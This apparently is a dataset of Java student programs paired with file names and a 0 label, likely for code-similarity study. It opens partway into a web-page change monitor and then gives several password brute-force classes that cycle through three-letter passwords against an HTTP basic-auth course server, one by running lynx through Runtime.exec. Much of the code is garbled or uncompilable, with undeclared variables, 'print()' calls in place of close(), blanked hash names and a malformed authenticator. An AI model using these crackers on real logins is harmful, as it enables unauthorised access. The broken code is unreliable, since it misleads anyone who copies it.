BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile))); String line; while ((line = inWatchDogEmailFile.readLine()) != null) { line = line.trim(); if((line != "") && (line != "\n")) emailAddresses.add(line); } inWatchDogEmailFile.print(); } catch(FileNotFoundException e) { writeProgramLog("Exception: " + e); } catch(IOException e) { writeProgramLog("Exception: " + e); } } else { emailAddresses.add("@yallara.cs.rmit.edu."); emailAddresses.add("rac@acslink.aone.net."); } if(emailAddresses.size() > 0) { try { String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">"; DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")"; for(int i = 0; i < emailAddresses.size(); i++) { String toAddress = (String) emailAddresses.get(i); try { URL mailURL = new URL("mailto: " + toAddress); URLConnection mailConnection = mailURL.openConnection(); mailConnection.setDoInput(false); mailConnection.setDoOutput(true); mailConnection.connect(); PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream())); mailWriter.print(": " + toAddress + "\n"); mailWriter.print(fromAddress + "\n"); mailWriter.print(subject + "\n"); mailWriter.print(mailMessage); mailWriter.print(); writeProgramLog("\tNotification mailed in this run."); } catch(MalformedURLException e) { writeProgramLog("Exception: " + e); } catch(IOException e) { writeProgramLog("Exception: " + e); } } } catch(UnknownHostException e) { writeProgramLog("Exception: " + e); } } } private void writeHash(byte [] newHash, String fileName) { try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); outFile.write(newHash, 0, newHash.length); outFile.print(); } catch(IOException e) { writeProgramLog("Exception: " + e); } } private void writePage(String newPage, String fileName) { try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); outFile.writeBytes(newPage); outFile.print(); } catch(IOException e) { writeProgramLog("Exception: " + e); } } private void writeProgramLog(String comment) { String fileName = "watchDogLog_rcroft.txt"; try { DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true)); outFile.writeBytes(comment + "\n"); outFile.flush(); outFile.print(); } catch(IOException e) { System.out.println("Exception: " + e); } } private WebPage getPage() { WebPage tempWebPage = new WebPage(); try { String urlName = "http://www.cs.rmit.edu./students/"; URL targetURL= new URL(urlName); HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection(); connection.connect(); connection.getResponseCode(); if(connection.getResponseCode() == 200) { String fileContents = ""; BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; while((line = in.readLine()) != null) fileContents = fileContents + line + "\n"; in.print(); tempWebPage.setPageContents(fileContents); tempWebPage.setSuccess(true); connection.disconnect(); } else { writeProgramLog("Failed connect " + connection.getResponseCode()); } } catch(IOException e) { writeProgramLog("Exception " + e); } return tempWebPage; } private byte[] calcHash(String pageContents) { byte[] outHash = null; try { MessageDigest msg = MessageDigest.getInstance(""); msg.reset(); msg.update(pageContents.getBytes()); outHash = msg.digest(); msg.reset(); } catch(NoSuchAlgorithmException e) { writeProgramLog("Exception: " + e); } return outHash; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
003.java
197.java
0
import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class BruteForce { private String result =""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("",pass.toCharArray()); } public String pass; } public BruteForce() { java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String record = null; String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; char pass[] = {'x','x','x'}; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); } catch (MalformedURLException e) { } for(int a=0;a<words.length;a++) { for(int b=0;b<words.length;b++) { for(int c=0;c<words.length;c++) { pass[0]=words[a]; pass[1]=words[b]; pass[2]=words[c]; passwd=passwd.copyValueOf(pass,0,3); System.out.println(count+ " ) " + passwd); count++; try { connection = (HttpURLConnection) u.openConnection(); Authenticator.setDefault(new customAuthenticator(passwd)); if (connection.getResponseCode()!=401) { System.out.print("The password is : "+passwd); System.out.println(); java.util.Date d1 = java.util.Calendar.getInstance().getTime(); System.out.println(d1.toString()); System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n"); System.exit(0); } else { } connection.disconnect(); } catch (IOException e) { System.out.println(e); } } } } } public static void main(String[] args) { BruteForce = new BruteForce(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
072.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class BruteForce { public BruteForce() { try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2"); MyAuthenticator m = new MyAuthenticator(); Authenticator userPassword = m.getPasswordAuthentication(": ", "Z"); URLConnection uc = url.openConnection(); HttpURLConnection http = (HttpURLConnection) uc; uc.setRequestProperty ("Authorization", " "); System.out.println("hello"); http.setRequestMethod("POST"); } catch (MalformedURLException e) { System.out.println("Invalid URL"); } catch (IOException e) { System.out.println("Error URL"); } } public static void main (String args[]) { BruteForce gogetit = new BruteForce(); } class MyAuthenticator { Authenticator getPasswordAuthentication(String login, char password) { { for(int i = 0; i < 3; i++) { password = (char)(57.0 * Math.random() + 65); if ((password < 97) && (password > 90)) { i--; continue; } login = login + password; } }while(uc.getURL()!= 401); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }